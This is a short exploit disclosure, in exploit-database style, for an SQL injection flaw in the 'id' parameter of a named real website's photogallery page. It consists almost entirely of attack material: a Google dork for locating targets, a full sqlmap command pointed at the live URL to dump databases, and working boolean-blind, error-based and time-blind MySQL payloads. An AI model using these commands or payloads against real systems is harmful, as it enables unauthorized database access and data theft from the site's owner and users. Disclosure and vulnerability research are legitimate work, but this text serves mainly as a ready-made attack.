****************************
#Exploit Title: LAGOCCIA - SQL Injection vulnerability
#Date: 2020-10-07
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.lagoccia.net
#Google Dork: photogallery.php?id=545
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.lagoccia.net/photogallery.php?id=545" --level=5 --risk=3 --dbs --random-agent
Testing Method;
- boolean-based blind
- time-based blind
- error-based
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=545 AND 5286=5286
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=545 AND (SELECT 6298 FROM(SELECT COUNT(*),CONCAT(0x71716a7671,(SELECT (ELT(6298=6298,1))),0x716a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=545 AND (SELECT 3802 FROM (SELECT(SLEEP(5)))ThhZ)
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************